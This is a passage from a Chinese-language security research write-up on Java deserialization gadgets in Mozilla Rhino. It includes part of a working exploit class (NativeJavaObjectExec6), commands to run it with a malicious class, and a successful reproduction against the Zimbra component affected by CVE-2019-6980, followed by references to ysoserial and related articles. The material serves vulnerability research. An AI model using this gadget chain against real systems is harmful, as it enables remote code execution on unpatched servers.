f_parent.set( njo, parent );
f_javaObject.set( njo, javaObject );
f_isAdapter.set( njo, isAdapter );
f_writeAdapterObject.set( njo, writeAdapterObject );
return( njo );
}
/*
* 必须是public的,否则序列化时就抛异常。参看
*
* org.mozilla.javascript.JavaAdapter.writeAdapterObject()
*/
public static void PrivateWriteAdapterObject ( Object javaObject, ObjectOutputStream out ) throws IOException
{
out.writeObject( "java.lang.Object" );
out.writeObject( new String[0] );
out.writeObject( javaObject );
}
public static void main ( String[] argv ) throws Exception
{
String evilclass = argv[0];
Object obj = getObject( evilclass );
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream( bos );
oos.writeObject( obj );
ByteArrayInputStream bis = new ByteArrayInputStream( bos.toByteArray() );
ObjectInputStream ois = new ObjectInputStream( bis );
ois.readObject();
}
}
看MozillaRhino2.java时有个疑惑,感觉它设置了两次NativeJavaArray.prototype,觉得没必要。编写NativeJavaObjectExec.java时我就只设置了一次,用1.7R2测试无误。后来用1.6R7测试时,意外发现此处有坑,对于1.6R7,必须设置两次,这两次设置的并不是同一个成员变量,分属父类、子类,如果只设其中一个,各有原因致使失败。
javac \
-encoding GBK -g -XDignore.symbol.file \
-cp "js-1.6R7.jar" \
NativeJavaObjectExec6.java
java \
-cp "js-1.6R7.jar:." \
NativeJavaObjectExec6 JacksonExploit.class
抛出异常,但恶意代码已被执行。
10.2.5) CVE-2019-6980(Zimbra)
参[91],tint0发现的洞,中国人fnmsd提供复现细节。
Synacor Zimbra Collaboration Suite 8.7.x through 8.8.11 allows insecureobject deserialization in the IMAP component.
tint0写道:
There are two main points. First, the class NativeJavaObject on
deserialization will store all members of an object's class. Members refer
to all elements that define a class such as variables and methods. In
Rhino context, it also detects when there's a getter or setter member and
if so, it declares and includes the corresponding bean as an additonal
member of this class. Second, a call to NativeJavaObject.get() will search
those members for a matching bean name and if one is found, invoke that
bean's getter. These match the nature of one of the native
'gadget helpers' - TemplatesImpl.getOutputProperties(). Essentially if we
can pass in the name 'outputProperties' in NativeJavaObject.get(), Rhino
will invoke TemplatesImpl.getOutputProperties() which will eventually lead
to the construction of a malicious class from our predefined bytecodes.
Searching for a place that we can control the passed-in member name leads
to the discovery of JavaAdapter.getObjectFunctionNames() and it's directly
accessible from NativeJavaObject.readObject().
6个月后终于彻底看懂上面这段话。
Zimbra 8.6.0的yuicompressor-2.4.2-zimbra.jar含有:
org.mozilla.javascript.*
按tint0的说法,源自1.6R7。
java \
-cp "yuicompressor-2.4.2-zimbra.jar:." \
NativeJavaObjectExec6 JacksonExploit.class
得手。
☆ 参考资源
[52]
ysoserial
https://github.com/frohoff/ysoserial/
https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
(A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization)
(可以自己编译,不需要下这个jar包)
git clone https://github.com/frohoff/ysoserial.git
[89]
https://repo1.maven.org/maven2/rhino/js/1.6R7/js-1.6R7.jar
https://repo1.maven.org/maven2/rhino/js/1.7R2/js-1.7R2.jar
https://repo1.maven.org/maven2/rhino/js/1.7R2/js-1.7R2-sources.jar
Return of the Rhino: An old gadget revisited - Matthias Kaiser [2016-05-04]
https://codewhitesec.blogspot.com/2016/05/return-of-rhino-old-gadget-revisited.html
[90]
利用反序列化进行JNDI注入 - Twings [2020-05-12]
https://aluvion.gitee.io/2020/05/12/%E5%88%A9%E7%94%A8%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%BF%9B%E8%A1%8CJNDI%E6%B3%A8%E5%85%A5/
[91]
A Saga of Code Executions on Zimbra - An Trinh [2019-03-13]
https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6980
Zimbra SSRF+Memcached+反序列化漏洞利用复现 - fnmsd [2019-04-12]
https://blog.csdn.net/fnmsd/article/details/89235589
本篇TXT原文:
http://scz.617.cn/web/202005261139.txt
个人主页的服务器和域名都是小钻风友情提供的。那个机房的交换机经常出故障,不能访问时,大部分因为这个,等他们重启交换机后就恢复。这几个月有不同网友反馈过。如果觉得某技术文档有帮助,建议右键下载、本地查看。在线版本如有更新,会在TXT中修改时间戳,年底会提供整站7z下载。




